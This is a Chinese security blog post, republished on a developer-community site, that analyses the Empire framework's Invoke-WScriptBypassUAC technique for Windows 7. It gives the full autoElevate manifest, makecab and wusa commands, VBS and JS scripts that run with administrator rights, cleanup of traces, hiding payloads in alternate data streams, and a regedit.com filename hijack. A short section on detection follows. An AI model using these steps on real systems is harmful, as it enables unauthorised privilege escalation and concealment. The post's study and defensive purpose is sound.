开发者社区> 玄学酱> 正文

Empire中的Invoke-WScriptBypassUAC利用分析

简介: 本文讲的是Empire中的Invoke-WScriptBypassUAC利用分析,知名的后渗透测试框架Empire是一个很好的学习模板,其中包含的后渗透技巧很值得深入研究。 本文将要挑选Empire中一个经典的UAC绕过方法Invoke-WScriptBypassUAC进行分析,介绍绕过原理以及在渗透测试中的更多利用技巧。
+关注继续查看
本文讲的是Empire中的Invoke-WScriptBypassUAC利用分析知名的后渗透测试框架Empire是一个很好的学习模板,其中包含的后渗透技巧很值得深入研究。

本文将要挑选Empire中一个经典的UAC绕过方法Invoke-WScriptBypassUAC进行分析,介绍绕过原理以及在渗透测试中的更多利用技巧。知道如何利用,才能知道如何防御。


0x01 简介

本文将要介绍如下内容:

· Invoke-WScriptBypassUAC绕过原理

· 利用扩展

· 防御检测

0x02 Invoke-WScriptBypassUAC绕过原理

Invoke-WScriptBypassUAC通过powershell实现,思路上借鉴了Vozzie分享的github,地址如下:

https://github.com/Vozzie/uacscript

Vozzie提到ZDI和微软选择忽略该UAC绕过“漏洞”,ZDI认为这不是一个远程漏洞,微软认为UAC绕过不属于漏洞范畴

Invoke-WScriptBypassUAC在实现上使用了一些实用的小技巧,所以本文主要对Invoke-WScriptBypassUAC的绕过方法进行分析

该方法只适用于Win7,而Win8、Win10不适用(原因在后面介绍)

测试系统: Win7 x86

由于powershell格式的源代码公开,所以直接介绍该脚本关键的操作流程:

1、判断操作系统是否为Win7,是否为普通权限

2、Temp目录释放文件wscript.exe.manifest

3、使用makecab.exe对wscript.exe.manifest和wscript.exe进行压缩

4、使用wusa将压缩包解压缩,将wscript.exe.manifest和wscript.exe释放至c:\Windows目录

5、payload保存在Appdata文件夹的ADS中

6、使用c:\Windows\wscript.exe执行payload,实现管理员权限执行payload,绕过UAC

0x03 利用扩展

掌握操作流程后,我们完全可以手动进行拆分测试,在这个过程中能发现更多利用思路

1、保存wscript.exe.manifest文件

代码如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1"
        xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
        manifestVersion="1.0">
  <asmv3:trustInfo>
    <security>
        <requestedPrivileges>
            <requestedExecutionLevel level="RequireAdministrator" uiAccess="false"/>
        </requestedPrivileges>
    </security>
  </asmv3:trustInfo>
  <asmv3:application>
    <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
        <autoElevate>true</autoElevate>
        <dpiAware>true</dpiAware>
       </asmv3:windowsSettings>
  </asmv3:application>
</assembly>

2、使用makecab制作cab文件

cmd:

makecab c:\windows\system32\wscript.exe %TMP%\1.tmp
makecab wscript.exe.manifest %TMP%\2.tmp

3、使用wusa解压缩cab文件并释放至c:\windows

cmd:

wusa %TMP%\1.tmp /extract:"c:\windows" /quiet
wusa %TMP%\2.tmp /extract:"c:\windows" /quiet

注:

该方法成功的关键在于使用wusa能够将cab文件解压缩至c:\windows,通常情况下,向c:\windows目录释放文件需要管理员权限,而借助wusa,普通用户权限即可,当然其他管理员权限的目录也可以,例如: C:\Windows\addins

4、使用该wscript.exe执行vbs或者js脚本

cmd:

c:\windows\wscript.exe c:\test\1.vbs
c:\windows\wscript.exe c:\test\1.js

注:

此处js和vbs脚本需要绝对路径,虽然是普通用户权限的cmd,但因为wscript.exe同级目录下的wscript.exe.manifest指定以管理员权限启动,所以执行的vbs或者js脚本是管理员权限,这就实现了UAC绕过

执行cmd命令对应的vbs脚本如下:

Dim objShell
Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("WScript.Shell")
command = "cmd /c calc.exe"
objShell.Run command, 0
Set objShell = Nothing

对应的js脚本如下:

new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe",0,true);

5、绕过后清除缓存文件

删除c:\windows\下的wscript.exe和wscript.exe.manifest

对应vbs脚本如下:

Dim objShell
Dim oFso
Set oFso = CreateObject("Scripting.FileSystemObject")
Set objShell = WScript.CreateObject("WScript.Shell")
command = "cmd /c del c:\windows\wscript.exe && del c:\windows\wscript.exe.manifest"
objShell.Run command, 0
Set objShell = Nothing

对应js脚本如下:

new ActiveXObject("WScript.Shell").Run("cmd /c del c:\windows\wscript.exe && del c:\windows\wscript.exe.manifest",0,true);

注:

删除c:\windows\下的wscript.exe和wscript.exe.manifest需要管理员权限

删除缓存文件:

del %TMP%\1.tmp
del %TMP%\2.tmp

6、补充

(1)可供利用的路径有很多,查看文件夹属性可使用如下powershell命令:

Get-Acl -Path c:\windows|select Owner

(2)保存vbs或者js脚本的路径有很多,例如特殊ads:

· …文件

· 特殊COM文件

· 磁盘根目录

更多细节可参考文章《Hidden Alternative Data Streams的进阶利用技巧》

当然,Invoke-WScriptBypassUAC使用的ADS位置也很隐蔽

$env:USERPROFILE\AppData默认为系统隐藏文件

所以使用dir /r看不到文件夹$env:USERPROFILE\AppData,当然也无法看到添加的ads

需要使用dir /a:h /r (/a:h指定查看系统隐藏文件)才能看到,或者查看所有文件:dir /a /r

(3)Win8失败的原因

使用makecab和wusa能够将cab文件解压缩至高权限目录,如c:\windows

但利用wscript.exe和wscript.exe.manifest实现高权限执行的方法失效,Win8使用了内嵌manifest

(4)Win10失败的原因

Win10系统无法使用makecab和wusa能够将cab文件解压缩至高权限目录,如c:\windows

当然,也使用了内嵌manifest

0x04 wusa特性的进一步利用

wusa特性:

在普通用户的权限下,能够将文件释放至管理员权限的文件夹

适用Win7、Win8

利用一:文件名劫持

1、将calc.exe重命名为regedit.com

2、在c:\windows释放文件regedit.com

cmd:

makecab c:\test\regedit.com %TMP%\1.tmp
wusa %TMP%\1.tmp /extract:"c:\windows" /quiet

3、劫持

cmd输入regedit,会执行regedit.com,而不是regedit.exe

关于该利用方法的详情可参考文章:《A dirty way of tricking users to bypass UAC》

替他利用方法(暂略)

0x05 防御

该UAC绕过方法只适用于Win7,尚未见到对应补丁,杀毒软件能对此脚本进行拦截,但也存在绕过方法

站在防御者的角度,建议监控wusa.exe的调用

0x06 小结

本文对Invoke-WScriptBypassUAC进行了分析,虽然微软不认可该漏洞,但在后渗透阶段,不论是渗透测试人员,还是防御方,对此都应该注意。




原文发布时间为:2017年9月14日
本文作者:3gstudent 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
scrapy-redis 分布式爬取源码分析
scrapy是Python的一个非常好用的爬虫库,功能非常强大,但是当我们要爬取的页面非常多的时候,单个主机的处理能力就不能满足我们的需求了(无论是处理速度还是网络请求的并发数),这时候分布式爬虫的优势就显现出来,人多力量大。而scrapy-Redis就是结合了分布式数据库redis,重写了scrapy一些比较关键的代码,将scrapy变成一个可以在多个主机上同时运行的分布式爬虫。
3296 0
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
17795 0
20.LinearSmoothScroller源码分析(26.0.0)-控制RecyclerView滑动速度
smoothScrollToPosition方法可以使RecyclerView滑动到指定的位置,来看下源码 /** * Starts a smooth scroll to an adapter position.
1853 0
Scrapy-Redis分布式抓取麦田二手房租房信息与数据分析
试着通过抓取一家房产公司的全部信息,研究下北京的房价。文章最后用Pandas进行了分析,并给出了数据可视化。 准备工作 麦田房产二手房页面(http://bj.maitian.cn/esfall/PG1)。
1163 0
javascript:使用document.getElementById读取数据为空分析
  今天写个网页,想在页面加载onLoad时,动态显示由后台其他程序传来的数据时,用document.getElementById获取控件对象总是为空。但是检查了这个id确实是存在的。在网上查阅一番后才知道了其中的原因。
941 0
爬虫分析之数据存储——基于MySQL,Scrapy
上一篇->爬虫练习之数据整理——基于Pandas 上上篇->爬虫练习之数据清洗——基于Pandas 配置MySql 关于MySQL在Ubuntu的Pycharm上的配置,可以参考这篇文章中的第三部分 Mac安装mysql及终端操作mysql与pych...
1268 0
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
19048 0
+关注
玄学酱
这个时候,玄酱是不是应该说点什么...
20709
文章
438
问答
文章排行榜
最热
最新
相关电子书
更多
OceanBase 入门到实战教程
立即下载
阿里云图数据库GDB,加速开启“图智”未来.ppt
立即下载
实时数仓Hologres技术实战一本通2.0版(下)
立即下载